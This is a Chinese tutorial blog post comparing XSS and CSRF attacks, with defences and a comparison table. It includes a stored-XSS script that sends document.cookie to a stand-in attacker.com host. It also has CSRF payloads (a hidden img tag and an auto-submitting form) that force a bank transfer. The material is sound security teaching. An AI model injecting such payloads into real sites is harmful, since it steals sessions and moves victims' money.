XSS攻击和CSRF攻击的区别, 完整示例攻击和防御介绍

XSS(跨站脚本攻击,Cross-Site Scripting)和 CSRF(跨站请求伪造,Cross-Site Request Forgery)是两种常见的 Web 安全漏洞,它们的攻击原理、目标和防御方式有显著区别。下面将从定义、攻击流程、完整示例、危害、防御措施等方面进行详细对比说明。


一、XSS 攻击(Cross-Site Scripting)

1. 定义

XSS 是一种注入型攻击,攻击者通过在网页中注入恶意脚本(通常是 JavaScript),当其他用户浏览该页面时,脚本会在其浏览器中执行,从而窃取 Cookie、会话令牌、重定向到钓鱼网站等。

2. 攻击类型

  • 反射型 XSS:恶意脚本来自当前 HTTP 请求(如 URL 参数),服务器直接将其嵌入响应。
  • 存储型 XSS:恶意脚本被永久存储在服务器(如评论区、用户资料),所有访问该内容的用户都会中招。
  • DOM 型 XSS:完全在客户端通过修改 DOM 触发,不涉及服务器响应。

3. 完整示例(存储型 XSS)

场景:

一个论坛允许用户发表评论,但未对输入做任何过滤。

攻击者操作:

在评论框中输入:

html 复制代码
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
后果:

所有查看该评论的用户,浏览器都会执行这段脚本,将其 Cookie 发送给攻击者服务器。

4. 危害

  • 窃取用户 Cookie / Session ID
  • 劫持用户账户
  • 执行任意前端操作(如转账、发消息)
  • 钓鱼、挂马等

5. 防御措施

  • 输入过滤与转义 :对用户输入进行 HTML 实体编码(如 <&lt;)。
  • 输出编码:根据上下文(HTML、JS、URL、CSS)使用不同编码方式。
  • 设置 HttpOnly Cookie:防止 JS 读取敏感 Cookie。
  • Content Security Policy (CSP):限制可加载的脚本来源。
  • 使用安全框架 :如 React/Vue 默认转义,避免直接使用 innerHTML

二、CSRF 攻击(Cross-Site Request Forgery)

1. 定义

CSRF 攻击利用用户已登录的身份,在用户不知情的情况下,诱使其浏览器向目标网站发送恶意请求(如转账、改密码)。关键在于:浏览器自动携带 Cookie

2. 攻击前提

  • 用户已登录目标网站(如银行网站),存在有效会话 Cookie。
  • 目标网站未验证请求来源(如缺少 CSRF Token)。
  • 用户访问了攻击者控制的页面(如恶意广告、钓鱼邮件)。

3. 完整示例(转账 CSRF)

场景:

银行网站有一个转账接口:

复制代码
POST /transfer
参数:to=张三&amount=1000

且仅依赖 Cookie 验证身份。

攻击者构造恶意页面(如 attacker.com):
html 复制代码
<img src="https://bank.com/transfer?to=攻击者&amount=5000" width="0" height="0" />

或使用自动提交表单:

html 复制代码
<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="to" value="攻击者" />
  <input type="hidden" name="amount" value="5000" />
</form>
<script>document.forms[0].submit();</script>
用户行为:

用户在已登录银行网站的情况下,访问了 attacker.com 页面。

后果:

浏览器自动携带 bank.com 的 Cookie 发起转账请求,成功转出 5000 元。

4. 危害

  • 非授权操作(转账、删数据、改密码)
  • 利用用户权限执行高危操作
  • 通常结合 XSS 更危险(XSS 可绕过 CSRF 防御)

5. 防御措施

  • CSRF Token:每个表单/请求包含一次性随机 Token,服务端校验。

  • SameSite Cookie 属性

    http 复制代码
    Set-Cookie: sessionid=abc123; SameSite=Lax
    • Strict:完全禁止跨站携带 Cookie。
    • Lax:允许安全方法(GET)跨站,阻止 POST 等。
  • 验证 Referer / Origin 头:检查请求来源是否合法(但可能被伪造或缺失)。

  • 双重提交 Cookie 模式:Token 同时放在 Cookie 和请求参数中,服务端比对。


三、XSS 与 CSRF 对比总结

特性 XSS CSRF
攻击目标 用户(窃取信息、控制浏览器) 应用(以用户身份执行操作)
是否需要用户交互 通常需要(访问含恶意脚本页面) 通常需要(访问恶意页面)
是否依赖 Cookie 自动发送
能否读取响应内容 能(同源策略下) 不能(受 SOP 限制)
典型防御 输入/输出转义、CSP、HttpOnly CSRF Token、SameSite Cookie
能否互相利用 XSS 可绕过 CSRF 防御(如窃取 Token) CSRF 无法直接导致 XSS

四、综合防御建议

  1. 对所有用户输入进行严格验证与转义(防 XSS)。
  2. 关键操作使用 CSRF Token 并验证(防 CSRF)。
  3. 敏感 Cookie 设置 HttpOnly + Secure + SameSite=Lax/Strict
  4. 启用 CSP 策略,限制脚本来源。
  5. 定期安全审计与渗透测试

如有具体场景(如前后端分离架构、API 接口等),防御策略可能需调整(例如 API 使用 Bearer Token 可天然防 CSRF)。欢迎进一步提问!

相关推荐
慧一居士2 小时前
API 使用 Bearer Token 为什么可天然防 CSRF
web安全
白帽子黑客杰哥2 小时前
网络安全工程师面试常见技术问题
安全·web安全·网络安全·面试·职场和发展·渗透测试·网络安全就业
Dest1ny-安全2 小时前
CTF 及网络安全相关平台汇总表
java·运维·服务器·python·安全·web安全
Tandy12356_3 小时前
中科大计算机网络——网络安全
c语言·python·计算机网络·安全·web安全
上海云盾第一敬业销售3 小时前
高防CDN助力网络安全升级
安全·web安全
p***97613 小时前
网络安全防护指南:筑牢网络安全防线(510)
安全·web安全·php
网安老伯3 小时前
劝退,劝退,关于自学/跳槽/转行做网络安全行业的一些建议
运维·python·网络协议·web安全·网络安全·跳槽·职场发展
眠晚晚14 小时前
API攻防&系统攻防笔记分享
笔记·web安全·网络安全
漏洞文库-Web安全14 小时前
CTF密码学之SM4
安全·web安全·网络安全·密码学·ctf